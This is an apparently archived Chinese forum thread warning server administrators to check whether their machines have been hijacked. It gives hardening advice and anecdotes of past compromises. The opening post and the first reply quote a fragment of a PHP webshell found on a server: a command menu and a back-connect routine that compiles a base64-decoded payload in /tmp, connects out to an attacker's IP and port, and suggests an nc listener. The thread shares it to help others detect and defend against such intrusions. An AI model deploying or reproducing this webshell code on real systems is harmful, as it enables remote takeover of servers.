检查一下自己的服务器，是否成为肉机

Question

1 生产环境，产品正常运行，不代表服务器没有问题。
2 应用开源的产品要及时升级，多关注开源产品的动态。不要抱着得过且过，一劳永逸的态度。
3 尽量降低apache的权限，如有必要，可以配置PHP在safe_mode模式下运行。
4 生产环境下的代码在部署之前一定要有干静的备份。
5 要经常分析服务器的日志以下是挂马代码的一部分。switch($s)
{
case "a" : File_a($p); break;
case "b" : Guama_b(); break;
case "c" : Qingma_c(); break;
case "d" : Tihuan_d(); break;
case "e" : Antivirus_e(); break;
case "f" : Info_f(); break;
case "g" : Exec_g(); break;
case "h" : Com_h(); break;
case "i" : Port_i(); break;
case "j" : Findfile_j(); break;
case "k" : Linux_k(); break;
case "l" : Servu_l(); break;
case "m" : Mysql_m(); break;
case "n" : Mysql_n(); break;
case "o" : Mysql_o(); break;
case "p" : File_Edit($_GET['fp'],$_GET['fn']); break;
case "q" : File_Soup($p); break;
case "r" : Mysql_Msg(); break;
default: WinMain(); break;
}
[code]
echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/spider_bc.c成功<br>' : '创建/tmp/spider_bc.c失败<br>';
$res = Exec_Run('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
@unlink('/tmp/spider_bc.c');
echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';
[/code]

Answer 1

echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/spider_bc.c成功<br>' : '创建/tmp/spider_bc.c失败<br>';
$res = Exec_Run('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
@unlink('/tmp/spider_bc.c');
echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';

Answer 2

本帖最后由 xuzuning 于 2012-01-11 11:51:48 编辑

  

Answer 3

被肉鸡啦，还是你写的？
曾经公司内部一套系统，服务器上写了各种各样的文件，，IIS下的，呵呵

Answer 4

给黑过一次，2003服务器上给安装了木马程序，添加了管理员帐号... 若干年前假设的Mud 给随意提权限到gm 然后往磁盘写文件...也是Nt...

Answer 5

主要也是这个挂马的太不专业，把生产环境上的服务器搞得不能正常工作了。
我以前有一家公司，有一服务器，被人当肉机用了一年多。
连root密码都改了，只是人家本着人道主义精神，没有影响生产环境产品的正常运行。

Answer 6

如果是php的话， 可以禁止php的授权用户随便访问其它目录， 
linux上， 我觉得关键就是控制好用户的授权， 和root。